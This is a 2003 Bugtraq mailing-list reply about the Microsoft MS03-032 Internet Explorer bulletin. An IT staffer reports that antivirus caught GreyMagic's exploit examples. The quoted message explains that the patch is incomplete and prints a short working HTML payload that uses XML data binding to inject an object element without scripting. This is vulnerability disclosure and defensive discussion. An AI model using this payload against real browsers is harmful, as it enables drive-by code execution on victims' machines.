bugtraq - RE: BAD NEWS: Microsoft Security Bulletin MS03-032

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Message-ID: <OFD19A69E0.FBB1FC2D-ON07256D9B.0069B236-07256D9B.0069E47F@drhorton.com>
Date: Mon, 8 Sep 2003 12:16:42 -0700
From: ADBecker@...ortgage.com
To: "GreyMagic Software" <security@...ymagic.com>
Cc: "Bugtraq" <bugtraq@...urityfocus.com>,
	full-disclosure@...ts.netsys.com, http-equiv@...ite.com,
	"NTBugtraq" <NTBUGTRAQ@...TSERV.NTBUGTRAQ.COM>,
	"Microsoft Security Response Center" <secure@...rosoft.com>,
	vulnwatch@...nwatch.org
Subject: RE: BAD NEWS: Microsoft Security Bulletin MS03-032







Updated antivirus software should catch this exploit and prevent any application from being launched.
We have McAfee VirusScan 7 Ent. which caught both exploit examples at http://greymagic.com/adv/gm001-ie/

Andrew Becker
C.H. Mortgage, D.R. Horton
Phoenix IT/MIS Department
Phone: (866) 639-7305
Fax: (480) 607-5383


                                                                                                                                       
                      "GreyMagic                                                                                                       
                      Software"                To:       "NTBugtraq" <NTBUGTRAQ@...TSERV.NTBUGTRAQ.COM>, "Bugtraq"                     
                      <security@...ymag         <bugtraq@...urityfocus.com>, <full-disclosure@...ts.netsys.com>,                       
                      ic.com>                   <vulnwatch@...nwatch.org>                                                              
                                               cc:       <http-equiv@...ite.com>, "Microsoft Security Response Center"                 
                      09/08/03 07:52 AM         <secure@...rosoft.com>, (bcc: Andrew D Becker/Continental Homes)                       
                                               Subject:  RE: BAD NEWS: Microsoft Security Bulletin MS03-032                            
                                                                                                                                       




>The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.

>1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object data=x.asp></object>
            ]]>
        </exploit>
    </security>
</xml>

Ouch.